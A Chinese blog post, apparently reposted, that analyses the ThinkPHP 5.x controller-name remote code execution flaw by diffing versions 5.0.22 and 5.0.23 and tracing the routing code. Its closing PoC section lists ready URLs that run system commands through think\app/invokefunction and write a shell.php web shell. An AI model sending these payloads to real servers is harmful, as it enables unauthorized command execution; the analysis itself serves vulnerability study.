12月9日，thinkPHP5.*发布了安全更新，这次更新修复了一处严重级别的漏洞，该漏洞可导致（php/系统）代码执行，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
此前没有研究过thinkPHP框架，这次借这个漏洞学习一下。
#0x01 补丁比对
比较5.0.22和5.0.23的差异，关键点在app的module方法。
5.0.22:
???????// 获取控制器名 ???????$controller = strip_tags($result[1] ?: $config[‘default_controller‘]); ???????$controller = $convert ? strtolower($controller) : $controller;
5.0.23:
???????// 获取控制器名 ???????$controller = strip_tags($result[1] ?: $config[‘default_controller‘]); ???????if (!preg_match(‘/^[A-Za-z](\w|\.)*$/‘, $controller)) { ???????????throw new HttpException(404, ‘controller not exists:‘ . $controller); ???????} ???????$controller = $convert ? strtolower($controller) : $controller;更新了对于控制器名的检查，可见问题就出在这个控制器的失控。
#0x02漏洞分析
thinkphp各版本代码差异较大，以下使用thinkphp5.0.22版本。
在入口app::run:
???????????if (empty($dispatch)) { ???????????????$dispatch = self::routeCheck($request, $config); ???????????}app::routeCheck:
//Request::path获取http $_SERVER以及根据config配置参数进行处理/*$path = ‘{$module}/{$controller}/{$action}？{$param1}={$val1}&{$param2}={$val2}……‘*/ ???????$path ??= $request->path(); ???????$depr ??= $config[‘pathinfo_depr‘]; ???????$result = false;这里先去request::path获取参数：
???public function pathinfo() ???{ ???????if (is_null($this->pathinfo)) { ???????????if (isset($_GET[Config::get(‘var_pathinfo‘)])) { ????????????????????#s ???????????????// 判断URL里面是否有兼容模式参数 ???????????????$_SERVER[‘PATH_INFO‘] = $_GET[Config::get(‘var_pathinfo‘)]; ???????????????unset($_GET[Config::get(‘var_pathinfo‘)]); ???????????} elseif (IS_CLI) { ???????????????// CLI模式下 index.php module/controller/action/params/... ???????????????$_SERVER[‘PATH_INFO‘] = isset($_SERVER[‘argv‘][1]) ? $_SERVER[‘argv‘][1] : ‘‘; ???????????} ???????????// 分析PATHINFO信息 ???????????if (!isset($_SERVER[‘PATH_INFO‘])) { ???????????????foreach (Config::get(‘pathinfo_fetch‘) as $type) { ????????????????????????????#[‘ORIG_PATH_INFO‘, ‘REDIRECT_PATH_INFO‘, ‘REDIRECT_URL‘] ???????????????????if (!empty($_SERVER[$type])) { ???????????????????????$_SERVER[‘PATH_INFO‘] = (0 === strpos($_SERVER[$type], $_SERVER[‘SCRIPT_NAME‘])) ? ???????????????????????substr($_SERVER[$type], strlen($_SERVER[‘SCRIPT_NAME‘])) : $_SERVER[$type]; ???????????????????????break; ???????????????????} ???????????????} ???????????} ???????????$this->pathinfo = empty($_SERVER[‘PATH_INFO‘]) ? ‘/‘ : ltrim($_SERVER[‘PATH_INFO‘], ‘/‘); ???????} ???????return $this->pathinfo; ???} ???/** ????* 获取当前请求URL的pathinfo信息(不含URL后缀) ????* @access public ????* @return string ????*/ ???public function path() ???{ ???????if (is_null($this->path)) { ???????????$suffix ??= Config::get(‘url_html_suffix‘); ??#html ???????????$pathinfo = $this->pathinfo(); ???????????if (false === $suffix) { ???????????????// 禁止伪静态访问 ???????????????$this->path = $pathinfo; ???????????} elseif ($suffix) { ???????????????// 去除正常的URL后缀 ???????????????$this->path = preg_replace(‘/\.(‘ . ltrim($suffix, ‘.‘) . ‘)$/i‘, ‘‘, $pathinfo); ???????????} else { ???????????????// 允许任何后缀访问 ???????????????$this->path = preg_replace(‘/\.‘ . $this->ext() . ‘$/i‘, ‘‘, $pathinfo); ???????????} ???????} ???????return $this->path; ???}这里通过几种方式去解析路径，可以利用兼容模式传入s参数，去传递一个带反斜杠的路径(eg:\think\app)，如果使用phpinfo模式去传参，传入的反斜杠会被替换为‘\‘。
回到routeCheck:
???????????// 路由检测（根据路由定义返回不同的URL调度） ???????????$result = Route::check($request, $path, $depr, $config[‘url_domain_deploy‘]); ??????????????#false ???????????$must ??= !is_null(self::$routeMust) ? self::$routeMust : $config[‘url_route_must‘]; ??????????#false ???????????if ($must && false === $result) { ???????????????// 路由无效 ???????????????throw new RouteNotFoundException(); ???????????} ???????} ???????// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 ???????if (false === $result) { ???????????$result = Route::parseUrl($path, $depr, $config[‘controller_auto_search‘]); ???????}路由检测时失败，如果开启了强制路由检查会抛出RouteNotFoundException,但默认这个强制路由是不开启的，也就是官方指的没有开启强制路由可能getshell。
Route::parseUrl:
???public static function parseUrl($url, $depr = ‘/‘, $autoSearch = false) ???{ ???????if (isset(self::$bind[‘module‘])) { ???????????$bind = str_replace(‘/‘, $depr, self::$bind[‘module‘]); ???????????// 如果有模块/控制器绑定 ???????????$url = $bind . (‘.‘ != substr($bind, -1) ? $depr : ‘‘) . ltrim($url, $depr); ???????} ???????$url ?????????????= str_replace($depr, ‘|‘, $url); ???????list($path, $var) = self::parseUrlPath($url); ???????$route ???????????= [null, null, null]; ???????if (isset($path)) { ???????????// 解析模块 ???????????$module = Config::get(‘app_multi_module‘) ? array_shift($path) : null; ???????????if ($autoSearch) { ???????????????// 自动搜索控制器 ???????????????$dir ???= APP_PATH . ($module ? $module . DS : ‘‘) . Config::get(‘url_controller_layer‘); ???????????????$suffix = App::$suffix || Config::get(‘controller_suffix‘) ? ucfirst(Config::get(‘url_controller_layer‘)) : ‘‘; ???????????????$item ??= []; ???????????????$find ??= false; ???????????????foreach ($path as $val) { ???????????????????$item[] = $val; ???????????????????$file ??= $dir . DS . str_replace(‘.‘, DS, $val) . $suffix . EXT; ???????????????????$file ??= pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT; ???????????????????if (is_file($file)) { ???????????????????????$find = true; ???????????????????????break; ???????????????????} else { ???????????????????????$dir .= DS . Loader::parseName($val); ???????????????????} ???????????????} ???????????????if ($find) { ???????????????????$controller = implode(‘.‘, $item); ???????????????????$path ??????= array_slice($path, count($item)); ???????????????} else { ???????????????????$controller = array_shift($path); ???????????????} ???????????} else { ???????????????// 解析控制器 ???????????????$controller = !empty($path) ? array_shift($path) : null; ???????????} ???????????// 解析操作 ???????????$action = !empty($path) ? array_shift($path) : null; ???????????// 解析额外参数 ???????????self::parseUrlParams(empty($path) ? ‘‘ : implode(‘|‘, $path)); ???????????// 封装路由 ???????????$route = [$module, $controller, $action]; ???????????// 检查地址是否被定义过路由 ???????????$name ?= strtolower($module . ‘/‘ . Loader::parseName($controller, 1) . ‘/‘ . $action); ???????????$name2 = ‘‘; ???????????if (empty($module) || isset($bind) && $module == $bind) { ???????????????$name2 = strtolower(Loader::parseName($controller, 1) . ‘/‘ . $action); ???????????} ???????????if (isset(self::$rules[‘name‘][$name]) || isset(self::$rules[‘name‘][$name2])) { ???????????????throw new HttpException(404, ‘invalid request:‘ . str_replace(‘|‘, $depr, $url)); ???????????} ???????} ???????return [‘type‘ => ‘module‘, ‘module‘ => $route]; ???} ???/** ????* 解析URL的pathinfo参数和变量 ????* @access private ????* @param string $url URL地址 ????* @return array ????*/ ???private static function parseUrlPath($url) ???{ ???????// 分隔符替换 确保路由定义使用统一的分隔符 ???????$url = str_replace(‘|‘, ‘/‘, $url); ???????$url = trim($url, ‘/‘);#echo $url."<br/>"; ????????$var = []; ???????if (false !== strpos($url, ‘?‘)) { ???????????// [模块/控制器/操作?]参数1=值1&参数2=值2... ???????????$info = parse_url($url); ???????????$path = explode(‘/‘, $info[‘path‘]); ???????????parse_str($info[‘query‘], $var); ???????} elseif (strpos($url, ‘/‘)) { ???????????// [模块/控制器/操作] ???????????$path = explode(‘/‘, $url); ???????} else { ???????????$path = [$url]; ???????} ???????return [$path, $var]; ???}这里拆分模块/控制器/操作，传入的url受用户控制，处理后分割成一个module数组返回。
之后交给app::module处理：
???????// 获取控制器名 ???????$controller = strip_tags($result[1] ?: $config[‘default_controller‘]);
#这里是本次补丁的修补位置，对控制器名增加检查 ???????$controller = $convert ? strtolower($controller) : $controller; ???...... ???????try { ???????????$instance = Loader::controller( ???????????????$controller, ???????????????$config[‘url_controller_layer‘], ???????????????$config[‘controller_suffix‘], ???????????????$config[‘empty_controller‘] ???????????); ???????} catch (ClassNotFoundException $e) { ???????????throw new HttpException(404, ‘controller not exists:‘ . $e->getClass()); ???????}
这里会调用loader::controller对控制器进行一个检查：
public static function controller($name, $layer = ‘controller‘, $appendSuffix = false, $empty = ‘‘) ???{ ???????list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix); ???????if (class_exists($class)) { ???????????return App::invokeClass($class); ???????} ???????if ($empty) { ???????????$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix); ???????????if (class_exists($emptyClass)) { ???????????????return new $emptyClass(Request::instance()); ???????????} ???????} ???????throw new ClassNotFoundException(‘class not exists:‘ . $class, $class); ???}如果class_exists检测存在，就会去实例化这个类，之后invokeMethod对操作实现调用。
#0x03 利用方法
通过兼容模式传入一个以反斜杠开始的类名，由于命名空间的特点，可以实例化任何一个存在的类(由于class_exists检查，需要应用载入过)。
比如我们传入index/\think\app/invokefunction，parseUrl拆解出的模块，控制器，操作分别对应index,\think\app,invokefunction，只要能通过检查，就会去调用app::invokefunction。
用这样的方法，去寻找合适的类实例化来造成代码执行。
#0x04 Poc
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]= ?/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
ps:
前面太蠢了，只知道生硬的看代码，后来终于想起来开启thinkphp的调试模式，再找问题就比较容易了。
ThinkPHP(5.1.x ~ 5.1.31 5.0.x ~ 5.0.23)GetShell漏洞
原文地址：https://www.cnblogs.com/apossin/p/10111680.html